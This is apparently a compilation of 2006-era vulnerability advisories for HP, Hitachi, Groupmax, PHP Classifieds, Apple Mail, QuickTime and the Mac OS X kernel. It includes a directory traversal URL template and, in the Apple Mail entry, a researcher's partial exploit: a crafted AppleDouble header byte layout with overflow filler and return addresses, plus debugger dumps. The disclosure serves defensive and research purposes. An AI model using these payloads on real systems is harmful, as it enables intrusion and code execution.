Directory traversal vulnerability in the HP Color LaserJet 2500 Toolbox and Color LaserJet 4600 Toolbox on Microsoft Windows before 20060402 allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP GET request to TCP port 5225. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks. The vulnerability is caused due to an input validation error in the built-in HTTP server. This can be exploited to disclose the contents of arbitrary files via directory traversal attacks. Example: http://[host]:5225/../../../[file] SOLUTION: Update to version 3.1.

Unspecified vulnerability in Hitachi XFIT/S, XFIT/S/JCA, XFIT/S/ZGN, and XFIT/S ZENGIN TCP/IP Procedure allows remote attackers to cause a denial of service (server process and transfer control process stop) when the products "receive data unexpectedly". There are unknown vulnerabilities in Hitachi XFIT / S, XFIT / S / JCA, XFIT / S / ZGN, and XFIT / S ZENGIN TCP / IP. (The server process and the transmission control process stop). XFIT/S is prone to a denial-of-service vulnerability. The vulnerability presents itself when the application receives data unexpectedly. Due to a lack of details, further information cannot be provided at the moment. This BID will be updated when more details become available

Cross-site scripting (XSS) vulnerability in Groupmax World Wide Web, World Wide Web Desktop, World Wide Web for Scheduler, and Desktop for Scheduler, allows remote attackers to inject arbitrary web script or HTML via unknown attack vectors. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks

Cross-site scripting (XSS) vulnerability in search.php in PHP Classifieds 6.18, 6.20, and possibly other versions, allows remote attackers to inject arbitrary web script or HTML via the searchword parameter. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. Input passed to the "searchword" parameter in "search.php" isn't properly sanitised before being returned to the user. SOLUTION: Edit the source code to ensure that input is properly sanitised.

CoreTypes in Apple Mac OS X 10.4 up to 10.4.5 allows remote attackers to bypass the same-origin policy and execute Javascript in other domains via unknown vectors involving "crafted archives.". Apple Mail contains a buffer overflow that may allow a remote attacker to execute arbitrary code on a vulnerable system. Apple Safari is susceptible to a same-origin policy violation. This issue is due to the application's failure to properly enforce same-origin policy for JavaScript remote data access. An attacker may create a malicious webpage that can access the properties of another domain. This may lead to disclosure of sensitive information or may facilitate other attacks against a user of the browser. Safari is a WEB browser bundled with Apple's family of operating systems. But under certain circumstances, a maliciously crafted document can bypass these restrictions and execute arbitrary code in the user's browser

Buffer overflow in Mail in Apple Mac OS X 10.4 up to 10.4.5, when patched with Security Update 2006-001, allows remote attackers to execute arbitrary code via a long Real Name value in an e-mail attachment sent in AppleDouble format, which triggers the overflow when the user double-clicks on an attachment. Mac OS X Mail is prone to a remote buffer-overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before using it in a finite-sized buffer. A successful exploit may facilitate a compromise of the underlying computer. This issue is present in Apple Mail when 'Security Update 2006-001' is applied. An attacker can trigger this vulnerability by sending a specially crafted MIME-encapsulated Macintosh file containing an AppleDouble header. Download Validation is used to warn the user if the file type is not "safe". Prior to 2006-001 certain techniques could be used to disguise a file's type so that the validation was bypassed. Unfortunately in the process of patching the previous problem a new one was introduced. After applying Security Update 2006-001 Mail.app becomes vulnerable to a buffer overflow that may be triggered via a properly formatted MIME Encapsuled Macintosh file. Sending a file in the AppleDouble format with a long Real Name entry will invoke the overflow. Reading through RFC1740 should provide enough information to trigger the issue. The overflow is triggered by the file that contains the AppleDouble header information. The format of the header we need to send is as follows: [4 byte magic num][4 byte version num][16 bytes of filler][2 byte num of entries][Entry...] Entry descriptor for each Entry: [4 byte entry id][4 byte offset][4 byte length] Using the above layout we come up with the following code snippet for our exploit. "\x00\x05\x16\x07". # AppleDouble Magic Number "\x00\x02\x00\x00". # Version 2 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". # 16 Bytes of filler "\x00\x03\x00\x00". # Number of entries (3) "\x00\x09\x00\x00". # Entry ID 9 is for 'Finder Info' "\x00\x3e\x00\x00". # Start of Finder Info data is at file offset 0x3e "\x00\x0a\x00\x00". # Length of Finder Info is 0x0a or 10 "\x00\x03\x00\x00". # Entry ID 3 is for 'Real Name' "\x00\x48\x00\x00". # Start of Real Name data is at file offset 0x48 "\x00\xf5\x00\x00". # Length of Real Name is 0xf5 or 245 "\x00\x02\x00\x00". # Entry ID 2 is for 'Resource Fork' "\x01\x3d\x00\x00". # Start of Resource Fork is at file offset 0x013d "\x05\x3a\x00\x00". # Length of Resource fork is 0x053a "\x00\x00\x00\x00". # <null> filler "\x00\x00\x00\x00". # <null> filler "A" x 226 . "$retaddr" x 3 . "zzz.mov." . # remember this length is hard coded above. If a message with the above header arrived in your inbox on Mail.app you would see only the first 11 characters of the name provided by the Real Name entry. In this particular case you see "AAAAAAAAAAA...mov" . Other examples could be "SuperTastey...mov" or NakedChicks...mov" . The visual aspects of the (...) are surprisingly not that suspicious. Upon double clicking the attached file on the arrived email the following dump is created.

The first issue involves previous exploitation attempts and the temporary files left behind by such attempts. k-fs-ibook:~ test$ ls -al /var/tmp/folders.502/TemporaryItems/ ~/Library/Mail\ Downloads/ /Users/test/Library/Mail Downloads/: total 352 drwx------ 7 test admin 238 Mar 13 22:42 . drwx------ 23 test admin 782 Mar 12 15:52 .. drwx------ 3 test admin 102 Mar 13 22:42 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000 11112222ABCD3333zzz.mov.mailhold /var/tmp/folders.502/TemporaryItems/: total 352 drwxr-xr-x 4 test wheel 136 Mar 13 22:38 . drwx------ 3 test wheel 102 Mar 12 10:35 .. -rwxr-xr-x 1 test wheel 90000 Mar 13 22:44 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00001 1112222ABCD3333zzz.mov.mov The existance of a particular temporary file can halt the actions of an exploit attempting to take advantage of this issue. While developing an exploit keeping the two folders shown above clean is critical! The temporary files appear to be created during the process of previewing a message. In some cases they may not be created due to failed mkstemp() calls. The next issue centers around the fact that RFC1740 states that the Real Name entry can only contain 7bit printable ascii, using shellcode addresses with 0xff and 0xbf will not be possible because of this. This obviously eliminates alot of easy shellcode addresses unfortunately. 0xbfffe6e1: "Users/test/Library/Mail Downloads/", 'a' <repeats 166 times>... 0xbfffe7a9: 'a' <repeats 52 times>, "00\032\xff\xf8" Code in other areas seems to be either in an unreliable location or in a unicode format. I am really not in the mood to hunt around memory for a stable address but I am sure that something could be put together to exploit this. Here is an example of the Unicode strings that can be found in memory at random places. (gdb) x/30a $r29 0x18b8a00: 0xa28e6424 0x12100000 0x2f0055 0x730065 0x18b8a10: 0x720073 0x2f0074 0x650073 0x74002f 0x18b8a20: 0x4c0069 0x620072 0x610072 0x79002f 0x18b8a30: 0x4d0061 0x69006c 0x200044 0x6f0077 0x18b8a40: 0x6e006c 0x6f0061 0x640073 0x2f0061 0x18b8a50: 0x610061 0x610061 0x610061 0x610061 0x18b8a60: 0x610061 0x610061 0x610061 0x610061 0x18b8a70: 0x610061 0x610061 On x86 the Unicode *may* not be a problem however I do not have access to an intel based mac so I can not confirm this. On PowerPC however for the time being there is not much I can do on the Unicode front. I am not aware of any Venetian style PowerPC lovin at the moment. For the time being my exploitation has not gone beyond what I have documented here. Beyond the few hurdles I have outlined may lie a few more, but who knows? Good luck. Work Around: Install 2006-002 update or simply do not open attachments in Mail.app http://www.apple.com/support/downloads/ Sidenote: Much thanks to Apple for the quick turnaround time and prompt weekend responses! A same day response and 9 day turn around is hard to beat

Integer overflow in Apple QuickTime Player 7.0.3 and 7.0.4 and iTunes 6.0.1 and 6.0.2 allows remote attackers to execute arbitrary code via a FlashPix (FPX) image that contains a field that specifies a large number of blocks. Apple QuickTime fails to properly handle FlashPix images. This vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service condition. Two vulnerabilities have been reported in Apple QuickTime and iTunes: - an integer overflow - a heap-based buffer overflow These issues affect both Mac OS X and Microsoft Windows releases of the software. A successful exploit will result in the execution of arbitrary code in the context of the currently logged-in user. Apple QuickTime is a popular multimedia player that supports a wide variety of media formats. An attacker could exploit these vulnerabilities by convincing a user to access a specially crafted image or media file with a vulnerable version of QuickTime. Since QuickTime configures most web browsers to handle QuickTime media files, an attacker could exploit these vulnerabilities using a web page. For more information, please refer to the Vulnerability Notes. II. For further information, please see the Vulnerability Notes. III. Disable QuickTime in your web browser An attacker may be able to exploit this vulnerability by persuading a user to access a specially crafted file with a web browser. Disabling QuickTime in your web browser will defend against this attack vector. For more information, refer to the Securing Your Web Browser document. Appendix A.

Integer overflow in the mach_msg_send function in the kernel for Mac OS X might allow local users to execute arbitrary code via unknown attack vectors related to a large message header size, which leads to a heap-based buffer overflow. Apple Mac OS X kernel is prone to a local heap-overflow vulnerability. Specifically, the vulnerability affects the 'mach_msg_send()' function of the kernel. A successful attack may result in a complete compromise. Failed exploit attempts will most likely result in a denial-of-service condition. All versions of the operating system are considered be vulnerable. A local attacker could exploit this vulnerability to gain complete control
